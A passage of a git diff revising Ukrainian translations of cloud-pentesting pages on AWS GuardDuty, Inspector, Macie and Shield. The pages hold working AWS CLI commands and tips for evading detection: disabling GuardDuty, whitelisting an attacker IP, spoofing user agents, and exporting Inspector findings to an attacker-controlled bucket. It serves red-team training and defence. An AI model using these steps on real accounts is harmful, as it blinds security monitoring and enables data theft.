EC2, що використовуються зовнішньою IP-адресою, та ексфільтрація даних за допомогою DNS. +- **Компрометація облікового запису**: Загальні шаблони, що вказують на компрометацію облікового запису, включають виклики API з незвичної геолокації або анонімного проксі, спроби відключити ведення журналів AWS CloudTrail, зміни, що послаблюють політику паролів облікового запису, незвичні запуски інстанцій або інфраструктури, розгортання інфраструктури в незвичному регіоні, крадіжка облікових даних, підозріла активність входу в базу даних та виклики API з відомих шкідливих IP-адрес. +- **Компрометація бакету**: Активність, що вказує на компрометацію бакету, така як підозрілі шаблони доступу до даних, що вказують на зловживання обліковими даними, незвична активність API Amazon S3 з віддаленого хоста, несанкціонований доступ до S3 з відомих шкідливих IP-адрес та виклики API для отримання даних у бакетах S3 від користувача без попередньої історії доступу до бакету або викликані з незвичного місця. Amazon GuardDuty постійно моніторить і аналізує події даних AWS CloudTrail S3 (наприклад, GetObject, ListObjects, DeleteObject), щоб виявляти підозрілу активність у всіх ваших бакетах Amazon S3.
@@ -39,7 +39,7 @@ Amazon GuardDuty **виявляє незвичну активність у ва - Впливовий ресурс - Дія -- Актор: IP-адреса, порт та домен +- Актор: IP-адреса, порт і домен - Додаткова інформація
@@ -58,7 +58,7 @@ Amazon GuardDuty **виявляє незвичну активність у ва Ви можете призначити будь-який обліковий запис у межах організації **делегованим адміністратором GuardDuty**. Тільки обліковий запис управління організацією може призначити делегованого адміністратора. -Обліковий запис, який призначається делегованим адміністратором, стає обліковим записом адміністратора GuardDuty, автоматично має увімкнений GuardDuty у призначеному регіоні AWS, а також має **дозвіл на увімкнення та управління GuardDuty для всіх облікових записів в організації в цьому регіоні**. Інші облікові записи в організації можуть бути переглянуті та додані як облікові записи учасників GuardDuty, пов'язані з цим делегованим адміністратором. +Обліковий запис, який призначається делегованим адміністратором, стає обліковим записом адміністратора GuardDuty, автоматично має увімкнений GuardDuty у призначеному регіоні AWS і також має **дозвіл на увімкнення та управління GuardDuty для всіх облікових записів в організації в цьому регіоні**. Інші облікові записи в організації можуть бути переглянуті та додані як облікові записи учасників GuardDuty, пов'язані з цим делегованим адміністратором. ## Перерахування ```bash @@ -102,27 +102,27 @@ aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` ## GuardDuty Bypass -### General Guidance +### Загальні рекомендації Спробуйте дізнатися якомога більше про поведінку облікових даних, які ви збираєтеся використовувати: - Час, коли вони використовуються - Локації -- User Agents / Сервіси (Вони можуть використовуватися з awscli, webconsole, lambda...) +- User Agents / Сервіси (Це може бути використано з awscli, webconsole, lambda...) - Дозволи, які регулярно використовуються З цією інформацією, відтворіть якомога більше той же сценарій для використання доступу: - Якщо це **користувач або роль, доступна користувачем**, спробуйте використовувати її в ті ж години, з тієї ж геолокації (навіть з того ж ISP та IP, якщо можливо) -- Якщо це **роль, яку використовує сервіс**, створіть той же сервіс у тій же області та використовуйте його звідти в ті ж часові проміжки +- Якщо це **роль, яку використовує сервіс**, створіть той же сервіс в тому ж регіоні і використовуйте його звідти в ті ж часові діапазони - Завжди намагайтеся використовувати **ті ж дозволи**, які використовував цей принципал - Якщо вам потрібно **використовувати інші дозволи або зловживати дозволом** (наприклад, завантажити 1.000.000 файлів журналу cloudtrail), робіть це **повільно** і з **мінімальною кількістю взаємодій** з AWS (awscli іноді викликає кілька API для читання перед записом) -### Breaking GuardDuty +### Ломання GuardDuty #### `guardduty:UpdateDetector` -З цим дозволом ви можете вимкнути GuardDuty, щоб уникнути спрацьовування сповіщень. +З цим дозволом ви можете вимкнути GuardDuty, щоб уникнути сповіщень. ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} @@ -135,13 +135,13 @@ aws guardduty create-filter --detector-id --name -- ``` #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Зловмисники з попередніми привілеями могли змінити [**Список довірених IP**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) GuardDuty, додавши свою IP-адресу до нього та уникнути генерації сповіщень. +Зловмисники з попередніми привілеями могли б змінити [**Список довірених IP**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) GuardDuty, додавши свою IP-адресу до нього та уникнувши генерації сповіщень. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` #### `guardduty:DeletePublishingDestination` -Зловмисники можуть видалити призначення, щоб запобігти сповіщенням: +Зловмисники можуть видалити місце призначення, щоб запобігти сповіщенням: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` @@ -152,24 +152,24 @@ aws guardduty delete-publishing-destination --detector-id --destin Зверніть увагу, що існує десятки висновків GuardDuty, однак, **як Red Teamer, не всі з них вплинуть на вас**, і що краще, у вас є **повна документація на кожен з них** в [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html), тому ознайомтеся з нею перед виконанням будь-яких дій, щоб не бути спійманим. -Ось кілька прикладів специфічних обходів висновків GuardDuty: +Ось кілька прикладів обходу специфічних висновків GuardDuty: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty виявляє запити API AWS з загальних інструментів тестування на проникнення та активує [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ +GuardDuty виявляє запити API AWS з загальних інструментів тестування на проникнення та викликає [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ Це виявляється за **назвою агента користувача**, яка передається в запиті API.\ Отже, **модифікація агента користувача** може запобігти виявленню атаки GuardDuty. -Щоб запобігти цьому, ви можете знайти скрипт `session.py` у пакеті `botocore` і змінити агента користувача, або налаштувати Burp Suite як проксі для AWS CLI та змінити агента користувача за допомогою MitM або просто використовувати ОС, таку як Ubuntu, Mac або Windows, що запобігатиме спрацьовуванню цього сповіщення. +Щоб запобігти цьому, ви можете знайти скрипт `session.py` у пакеті `botocore` і змінити агента користувача, або налаштувати Burp Suite як проксі для AWS CLI та змінити агента користувача за допомогою MitM, або просто використовувати ОС, таку як Ubuntu, Mac або Windows, що запобігатиме спрацьовуванню цього сповіщення. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Витягування облікових даних EC2 з сервісу метаданих та **використання їх поза** середовищем AWS активує сповіщення [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Навпаки, використання цих облікових даних з вашого EC2 екземпляра активує сповіщення [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Проте, **використання облікових даних на іншому скомпрометованому EC2 екземплярі в межах того ж облікового запису залишається непоміченим**, не викликаючи жодного сповіщення. +Витягування облікових даних EC2 з сервісу метаданих та **використання їх поза** середовищем AWS активує сповіщення [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Навпаки, використання цих облікових даних з вашого EC2 екземпляра викликає сповіщення [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Проте, **використання облікових даних на іншому скомпрометованому EC2 екземплярі в межах того ж облікового запису залишається непоміченим**, не викликаючи жодного сповіщення. > [!TIP] -> Тому, **використовуйте ексфільтровані облікові дані зсередини машини**, де ви їх знайшли, щоб не активувати це сповіщення. +> Тому, **використовуйте ексфільтровані облікові дані зсередини машини**, де ви їх знайшли, щоб не викликати це сповіщення. -## References +## Посилання - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 355b3e713..cf818a5ab 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,7 +6,7 @@ ### Inspector -Amazon Inspector - це розширена автоматизована служба управління вразливостями, розроблена для підвищення безпеки вашого середовища AWS. Ця служба безперервно сканує екземпляри Amazon EC2, образи контейнерів в Amazon ECR, Amazon ECS та функції AWS Lambda на наявність вразливостей та ненавмисного мережевого впливу. Використовуючи надійну базу даних інтелекту вразливостей, Amazon Inspector надає детальні висновки, включаючи рівні серйозності та рекомендації щодо усунення, допомагаючи організаціям проактивно виявляти та усувати ризики безпеки. Цей комплексний підхід забезпечує зміцнену безпеку в різних службах AWS, сприяючи дотриманню вимог та управлінню ризиками. +Amazon Inspector - це розширена автоматизована служба управління вразливостями, розроблена для підвищення безпеки вашого середовища AWS. Ця служба постійно сканує екземпляри Amazon EC2, образи контейнерів в Amazon ECR, Amazon ECS та функції AWS Lambda на наявність вразливостей та ненавмисного мережевого впливу. Використовуючи надійну базу даних інтелекту вразливостей, Amazon Inspector надає детальні висновки, включаючи рівні серйозності та рекомендації щодо усунення, допомагаючи організаціям проактивно виявляти та усувати ризики безпеки. Цей комплексний підхід забезпечує зміцнену безпеку в різних службах AWS, сприяючи дотриманню вимог та управлінню ризиками. ### Key elements @@ -30,19 +30,19 @@ Amazon Inspector - це розширена автоматизована служ #### Software Bill of Materials (SBOM) -Програмний рахунок матеріалів (SBOM) в Amazon Inspector - це експортований вкладений список інвентаризації, що детально описує всі компоненти в програмному пакеті, включаючи бібліотеки та залежності. SBOM допомагає забезпечити прозорість у ланцюгу постачання програмного забезпечення, що дозволяє покращити управління вразливостями та дотримання вимог. Вони є важливими для виявлення та пом'якшення ризиків, пов'язаних з компонентами програмного забезпечення з відкритим кодом та сторонніми постачальниками. +Програмний рахунок матеріалів (SBOM) в Amazon Inspector - це експортований вкладений список інвентаризації, що детально описує всі компоненти в межах програмного пакета, включаючи бібліотеки та залежності. SBOM допомагає забезпечити прозорість у ланцюгу постачання програмного забезпечення, що дозволяє покращити управління вразливостями та дотримання вимог. Вони є важливими для виявлення та пом'якшення ризиків, пов'язаних з компонентами програмного забезпечення з відкритим кодом та сторонніми постачальниками. ### Key features #### Export findings -Amazon Inspector пропонує можливість експортувати висновки в Amazon S3 Buckets, Amazon EventBridge та AWS Security Hub, що дозволяє генерувати детальні звіти про виявлені вразливості та впливи для подальшого аналізу або обміну в конкретну дату та час. Ця функція підтримує різні формати виводу, такі як CSV та JSON, що полегшує інтеграцію з іншими інструментами та системами. Функція експорту дозволяє налаштувати дані, включені в звіти, дозволяючи фільтрувати висновки на основі конкретних критеріїв, таких як серйозність, тип ресурсу або діапазон дат, і включаючи за замовчуванням всі ваші висновки в поточному регіоні AWS зі статусом Active. +Amazon Inspector пропонує можливість експортувати висновки до Amazon S3 Buckets, Amazon EventBridge та AWS Security Hub, що дозволяє генерувати детальні звіти про виявлені вразливості та впливи для подальшого аналізу або обміну в конкретну дату та час. Ця функція підтримує різні формати виводу, такі як CSV та JSON, що полегшує інтеграцію з іншими інструментами та системами. Функціональність експорту дозволяє налаштувати дані, включені до звітів, дозволяючи вам фільтрувати висновки на основі конкретних критеріїв, таких як серйозність, тип ресурсу або діапазон дат, і за замовчуванням включати всі ваші висновки в поточному регіоні AWS зі статусом Active. При експорті висновків необхідний ключ служби управління ключами (KMS) для шифрування даних під час експорту. Ключі KMS забезпечують захист експортованих висновків від несанкціонованого доступу, надаючи додатковий рівень безпеки для чутливої інформації про вразливості. #### Amazon EC2 instances scanning -Amazon Inspector пропонує надійні можливості сканування для екземплярів Amazon EC2 для виявлення вразливостей та проблем безпеки. Inspector порівнює витягнуті метадані з екземпляра EC2 з правилами з безпекових рекомендацій, щоб виявити вразливості пакетів та проблеми доступності мережі. Ці сканування можуть виконуватися через **агентні** або **безагентні** методи, залежно від налаштувань конфігурації **режиму сканування** вашого облікового запису. +Amazon Inspector пропонує надійні можливості сканування для екземплярів Amazon EC2 для виявлення вразливостей та проблем безпеки. Inspector порівнює витягнуті метадані з екземпляра EC2 з правилами з безпекових рекомендацій для виявлення вразливостей пакетів та проблем доступності мережі. Ці сканування можуть виконуватися за допомогою **агентних** або **безагентних** методів, залежно від налаштувань конфігурації **режиму сканування** вашого облікового запису. - **Agent-Based**: Використовує агент AWS Systems Manager (SSM) для проведення глибоких сканувань. Цей метод дозволяє здійснювати всебічний збір та аналіз даних безпосередньо з екземпляра. - **Agentless**: Надає легкий альтернативний варіант, який не вимагає встановлення агента на екземплярі, створюючи знімок EBS кожного тому екземпляра EC2, шукаючи вразливості, а потім видаляючи його; використовуючи існуючу інфраструктуру AWS для сканування. @@ -50,9 +50,9 @@ Amazon Inspector пропонує надійні можливості скану Режим сканування визначає, який метод буде використано для виконання сканувань EC2: - **Agent-Based**: Включає встановлення агента SSM на екземплярах EC2 для глибокої перевірки. -- **Hybrid Scanning**: Поєднує як агентні, так і безагентні методи для максимального охоплення та мінімізації впливу на продуктивність. У тих екземплярах EC2, де встановлено агент SSM, Inspector виконає агентне сканування, а для тих, де немає агента SSM, сканування буде безагентним. +- **Hybrid Scanning**: Поєднує як агентні, так і безагентні методи для максимального охоплення та мінімізації впливу на продуктивність. У тих екземплярах EC2, де встановлено агент SSM, Inspector виконає агентне сканування, а для тих, де немає агента SSM, сканування буде виконано безагентно. -Ще одна важлива функція - це **глибока перевірка** для екземплярів EC2 Linux. Ця функція пропонує всебічний аналіз програмного забезпечення та конфігурації екземплярів EC2 Linux, надаючи детальні оцінки вразливостей, включаючи вразливості операційної системи, вразливості додатків та неправильні налаштування, забезпечуючи всебічну оцінку безпеки. Це досягається шляхом перевірки **кастомних шляхів** та всіх його підкаталогів. За замовчуванням Amazon Inspector сканує наступні, але кожен обліковий запис може визначити до 5 додаткових кастомних шляхів, а кожен делегований адміністратор - до 10: +Ще одна важлива функція - це **глибока перевірка** для екземплярів EC2 на базі Linux. Ця функція пропонує всебічний аналіз програмного забезпечення та конфігурації екземплярів EC2 на базі Linux, надаючи детальні оцінки вразливостей, включаючи вразливості операційної системи, вразливості додатків та неправильні налаштування, забезпечуючи всебічну оцінку безпеки. Це досягається шляхом перевірки **кастомних шляхів** та всіх їх підкаталогів. За замовчуванням Amazon Inspector сканує наступні, але кожен обліковий запис може визначити до 5 додаткових кастомних шляхів, а кожен делегований адміністратор - до 10: - `/usr/lib` - `/usr/lib64` @@ -71,13 +71,13 @@ Amazon Inspector надає надійні можливості скануван Amazon Inspector включає всебічні можливості сканування для функцій AWS Lambda та їх шарів, забезпечуючи безпеку та цілісність безсерверних додатків. Inspector пропонує два типи сканування для функцій Lambda: - **Lambda standard scanning**: Ця стандартна функція виявляє вразливості програмного забезпечення в залежностях пакета додатка, доданих до вашої функції Lambda та шарів. Наприклад, якщо ваша функція використовує версію бібліотеки, такої як python-jwt, з відомою вразливістю, вона генерує висновок. -- **Lambda code scanning**: Аналізує кастомний код додатка на наявність проблем безпеки, виявляючи вразливості, такі як вразливості ін'єкцій, витоки даних, слабке шифрування та відсутнє шифрування. Він захоплює фрагменти коду, що підкреслюють виявлені вразливості, такі як закодовані в коді облікові дані. Висновки включають детальні рекомендації щодо усунення та фрагменти коду для виправлення проблем. +- **Lambda code scanning**: Аналізує кастомний код додатка на предмет проблем безпеки, виявляючи вразливості, такі як вразливості ін'єкцій, витоки даних, слабке шифрування та відсутнє шифрування. Він захоплює фрагменти коду, що підкреслюють виявлені вразливості, такі як закодовані віртуальні дані. Висновки включають детальні рекомендації щодо усунення та фрагменти коду для виправлення проблем. #### **Center for Internet Security (CIS) scans** Amazon Inspector включає сканування CIS для оцінки операційних систем екземплярів Amazon EC2 відповідно до рекомендацій кращих практик від Центру безпеки Інтернету (CIS). Ці сканування забезпечують дотримання конфігурацій стандартам безпеки галузі. -- **Configuration**: Сканування CIS оцінює, чи відповідають системні конфігурації конкретним рекомендаціям CIS Benchmark, при цьому кожна перевірка пов'язана з ID перевірки CIS та заголовком. +- **Configuration**: Сканування CIS оцінює, чи відповідають системні конфігурації конкретним рекомендаціям CIS Benchmark, при цьому кожна перевірка пов'язана з ідентифікатором перевірки CIS та заголовком. - **Execution**: Сканування виконуються або плануються на основі тегів екземпляра та визначених графіків. - **Results**: Результати після сканування вказують, які перевірки пройшли, були пропущені або не пройшли, надаючи уявлення про безпекову позицію кожного екземпляра. @@ -185,19 +185,21 @@ aws inspector list-rules-packages ### Постексплуатація > [!TIP] -> З точки зору атакуючого, цей сервіс може допомогти атакуючому знайти вразливості та мережеві витоки, які можуть допомогти йому скомпрометувати інші екземпляри/контейнери. +> З точки зору атакуючого, ця служба може допомогти атакуючому знайти вразливості та мережеві витоки, які можуть допомогти йому скомпрометувати інші екземпляри/контейнери. > -> Однак, атакуючий також може бути зацікавлений у порушенні цього сервісу, щоб жертва не могла бачити вразливості (всі або конкретні). +> Однак, атакуючий також може бути зацікавлений у порушенні цієї служби, щоб жертва не могла бачити вразливості (всі або конкретні). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -Атакуючий може згенерувати детальні звіти про вразливості або рахунки на програмне забезпечення (SBOM) та ексфільтрувати їх з вашого середовища AWS. Цю інформацію можна використати для виявлення конкретних слабкостей, застарілого програмного забезпечення або небезпечних залежностей, що дозволяє здійснювати цілеспрямовані атаки. +Атакуючий може створити детальні звіти про вразливості або рахунки на програмне забезпечення (SBOM) та ексфільтрувати їх з вашого середовища AWS. Цю інформацію можна використовувати для виявлення конкретних слабкостей, застарілого програмного забезпечення або небезпечних залежностей, що дозволяє здійснювати цілеспрямовані атаки. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` +Наступний приклад показує, як ексфільтрувати всі активні знахідки з Amazon Inspector до контролюваного атакуючим Amazon S3 Bucket з контролюваним атакуючим Amazon KMS ключем: + 1. **Створіть Amazon S3 Bucket** і прикріпіть до нього політику, щоб він був доступний з жертви Amazon Inspector: ```json { @@ -263,18 +265,18 @@ aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -Зловмисник може скасувати генерацію вказаного звіту про вразливості або звіту SBOM, що заважає командам безпеки отримувати своєчасну інформацію про вразливості та рахунок програмного забезпечення (SBOM), затримуючи виявлення та усунення проблем безпеки. +Зловмисник може скасувати генерацію вказаного звіту про вразливості або звіту SBOM, що заважає командам безпеки отримувати своєчасну інформацію про вразливості та рахунки програмного забезпечення (SBOM), затримуючи виявлення та усунення проблем безпеки. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` -- **Potential Impact**: Порушення моніторингу безпеки та запобігання своєчасному виявленню та усуненню проблем безпеки. +- **Потенційний вплив**: Порушення моніторингу безпеки та запобігання своєчасному виявленню та усуненню проблем безпеки. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -Зловмисник з цими дозволами зможе маніпулювати правилами фільтрації, які визначають, які вразливості та проблеми безпеки повідомляються або подавляються (якщо **action** встановлено на SUPPRESS, буде створено правило подавлення). Це може приховати критичні вразливості від адміністраторів безпеки, що полегшує експлуатацію цих слабкостей без виявлення. Змінюючи або видаляючи важливі фільтри, зловмисник також може створити шум, заповнюючи систему нерелевантними знахідками, що заважає ефективному моніторингу безпеки та реагуванню. +Зловмисник з цими дозволами зможе маніпулювати правилами фільтрації, які визначають, які вразливості та проблеми безпеки повідомляються або подавляються (якщо **дія** встановлена на SUPPRESS, буде створено правило подавлення). Це може приховати критичні вразливості від адміністраторів безпеки, що полегшує експлуатацію цих слабкостей без виявлення. Змінюючи або видаляючи важливі фільтри, зловмисник також може створити шум, заповнюючи систему нерелевантними знахідками, що заважає ефективному моніторингу та реагуванню на безпеку. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -289,7 +291,7 @@ aws inspector2 delete-filter --arn Зловмисник може суттєво порушити структуру управління безпекою. -- Вимкнувши делегований обліковий запис адміністратора, зловмисник може перешкодити команді безпеки отримувати доступ до налаштувань та звітів Amazon Inspector. +- Вимкнувши делегований обліковий запис адміністратора, зловмисник може перешкодити команді безпеки отримувати доступ до налаштувань і звітів Amazon Inspector. - Увімкнення несанкціонованого облікового запису адміністратора дозволить зловмиснику контролювати конфігурації безпеки, потенційно вимикаючи сканування або змінюючи налаштування для приховування шкідливої діяльності. > [!WARNING] @@ -309,21 +311,21 @@ aws inspector2 enable-delegated-admin-account --delegated-admin-account-id [!WARNING] -> Цю дію потрібно виконувати делегованим адміністратором. +> Цю дію повинен виконувати делегований адміністратор. ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` -- **Потенційний вплив**: Виключення ключових облікових записів з перевірок безпеки, що дозволяє непомічене використання вразливостей. +- **Потенційний вплив**: Виключення ключових облікових записів з перевірок безпеки, що дозволяє непомічену експлуатацію вразливостей. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -Зловмисник з дозволом `inspector2:Disable` зможе вимкнути перевірки безпеки для конкретних типів ресурсів (EC2, ECR, Lambda, код Lambda) для зазначених облікових записів, залишаючи частини середовища AWS без нагляду та вразливими до атак. Крім того, маючи дозволи **`inspector2:Enable`** та **`iam:CreateServiceLinkedRole`**, зловмисник зможе повторно ввімкнути перевірки вибірково, щоб уникнути виявлення підозрілих конфігурацій. +Зловмисник з дозволом `inspector2:Disable` зможе вимкнути перевірки безпеки для конкретних типів ресурсів (EC2, ECR, Lambda, код Lambda) для зазначених облікових записів, залишаючи частини середовища AWS без нагляду та вразливими до атак. Крім того, завдяки дозволам **`inspector2:Enable`** та **`iam:CreateServiceLinkedRole`**, зловмисник зможе повторно ввімкнути перевірки вибірково, щоб уникнути виявлення підозрілих конфігурацій. > [!WARNING] -> Цю дію потрібно виконати делегованим адміністратором. +> Цю дію потрібно виконувати делегованим адміністратором. ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] @@ -337,7 +339,7 @@ aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--acco Зловмисник з цим дозволом зможе оновити конфігурації для вашої організації Amazon Inspector, що вплине на стандартні функції сканування, увімкнені для нових облікових записів учасників. > [!WARNING] -> Цю дію потрібно виконати делегованим адміністратором. +> Цю дію потрібно виконувати делегованим адміністратором. ```bash aws inspector2 update-organization-configuration --auto-enable ``` @@ -345,7 +347,7 @@ aws inspector2 update-organization-configuration --auto-enable --tags aws inspector2 untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index 8f8cec54a..118176840 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,17 +6,17 @@ ## Macie -Amazon Macie виділяється як сервіс, призначений для **автоматичного виявлення, класифікації та ідентифікації даних** в обліковому записі AWS. Він використовує **машинне навчання** для безперервного моніторингу та аналізу даних, головним чином зосереджуючись на виявленні та сповіщенні про незвичайні або підозрілі дії, аналізуючи **дані подій хмари** та шаблони поведінки користувачів. +Amazon Macie вирізняється як сервіс, призначений для **автоматичного виявлення, класифікації та ідентифікації даних** в обліковому записі AWS. Він використовує **машинне навчання** для безперервного моніторингу та аналізу даних, головним чином зосереджуючись на виявленні та сповіщенні про незвичайні або підозрілі дії, аналізуючи **дані подій хмари** та шаблони поведінки користувачів. Ключові особливості Amazon Macie: -1. **Активний огляд даних**: Використовує машинне навчання для активного перегляду даних під час різних дій в обліковому записі AWS. +1. **Активний огляд даних**: Використовує машинне навчання для активного огляду даних під час виконання різних дій в обліковому записі AWS. 2. **Виявлення аномалій**: Визначає нерегулярні дії або шаблони доступу, генеруючи сповіщення для зменшення потенційних ризиків витоку даних. 3. **Безперервний моніторинг**: Автоматично моніторить і виявляє нові дані в Amazon S3, використовуючи машинне навчання та штучний інтелект для адаптації до шаблонів доступу до даних з часом. 4. **Класифікація даних з NLP**: Використовує обробку природної мови (NLP) для класифікації та інтерпретації різних типів даних, присвоюючи ризикові бали для пріоритизації знахідок. 5. **Моніторинг безпеки**: Визначає дані, чутливі до безпеки, включаючи ключі API, секретні ключі та особисту інформацію, допомагаючи запобігти витокам даних. -Amazon Macie є **регіональним сервісом** і вимагає роль IAM 'AWSMacieServiceCustomerSetupRole' та активований AWS CloudTrail для функціонування. +Amazon Macie є **регіональним сервісом** і вимагає IAM ролі 'AWSMacieServiceCustomerSetupRole' та активованого AWS CloudTrail для функціонування. ### Система сповіщень @@ -42,12 +42,12 @@ Macie класифікує сповіщення на попередньо виз ### Класифікація користувачів -Користувачі класифікуються на рівні залежно від рівня ризику їхніх викликів API: +Користувачі класифікуються на рівні залежно від рівня ризику їхніх API викликів: -- **Платиновий**: Високоризикові виклики API, часто з адміністративними привілеями. -- **Золотий**: Виклики API, пов'язані з інфраструктурою. -- **Срібний**: Виклики API середнього ризику. -- **Бронзовий**: Низькоризикові виклики API. +- **Платиновий**: Високоризикові API виклики, часто з адміністративними привілеями. +- **Золотий**: API виклики, пов'язані з інфраструктурою. +- **Срібний**: API виклики середнього ризику. +- **Бронзовий**: Низькоризикові API виклики. ### Типи ідентичності @@ -68,7 +68,7 @@ Macie класифікує сповіщення на попередньо виз Функція дослідження Amazon Macie дозволяє виконувати користувацькі запити по всіх даних Macie для глибокого аналізу. Фільтри включають дані CloudTrail, властивості S3 Bucket та об'єкти S3. Крім того, вона підтримує запрошення інших облікових записів для спільного використання Amazon Macie, що полегшує спільне управління даними та моніторинг безпеки. -### Enumeration +### Перерахування ``` # Get buckets aws macie2 describe-buckets @@ -105,7 +105,7 @@ aws macie2 list-custom-data-identifiers > [!TIP] > З точки зору атакуючого, ця служба не призначена для виявлення атакуючого, а для виявлення чутливої інформації у збережених файлах. Тому ця служба може **допомогти атакуючому знайти чутливу інформацію** всередині бакетів.\ -> Однак, можливо, атакуючий також може бути зацікавлений у її порушенні, щоб запобігти отриманню сповіщень жертвою та легше вкрасти цю інформацію. +> Однак, можливо, атакуючий також може бути зацікавлений у її порушенні, щоб запобігти отриманню жертвою сповіщень і легше вкрасти цю інформацію. TODO: PRs are welcome! diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index 0615b74f7..7eaa55712 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,11 +4,11 @@ ## Shield -AWS Shield був розроблений для того, щоб допомогти **захистити вашу інфраструктуру від атак розподіленого заперечення обслуговування**, відомих як DDoS. +AWS Shield був розроблений для того, щоб допомогти **захистити вашу інфраструктуру від атак, що здійснюються за допомогою розподіленого відмови в обслуговуванні**, відомих як DDoS. **AWS Shield Standard** є **безкоштовним** для всіх, і він пропонує **захист від DDoS** проти деяких з більш поширених атак третього рівня, **мережевого рівня**, та четвертого рівня, **транспортного рівня**. Цей захист інтегрований як з CloudFront, так і з Route 53. -**AWS Shield Advanced** пропонує **вищий рівень захисту** від атак DDoS на більш широкому спектрі сервісів AWS за додаткову плату. Цей розширений рівень пропонує захист для ваших веб-додатків, що працюють на EC2, CloudFront, ELB, а також Route 53. На додаток до цих додаткових типів ресурсів, що захищаються, пропонуються підвищені рівні захисту від DDoS у порівнянні зі Standard. І ви також матимете **доступ до спеціалізованої команди реагування на DDoS в AWS, відомої як DRT**, яка працює цілодобово. +**AWS Shield Advanced** пропонує **вищий рівень захисту** від атак DDoS на більш широкому спектрі сервісів AWS за додаткову плату. Цей розширений рівень пропонує захист для ваших веб-додатків, що працюють на EC2, CloudFront, ELB, а також Route 53. На додаток до цих додаткових типів ресурсів, що захищаються, пропонуються покращені рівні захисту від DDoS у порівнянні зі стандартним. І ви також матимете **доступ до спеціалізованої команди реагування на DDoS в AWS, відомої як DRT, яка працює цілодобово**. Тоді як стандартна версія Shield пропонувала захист від третього та четвертого рівнів, **Advanced також пропонує захист від сьомого рівня, атак на додатки.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index 9a9848bb0..65e33503d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ 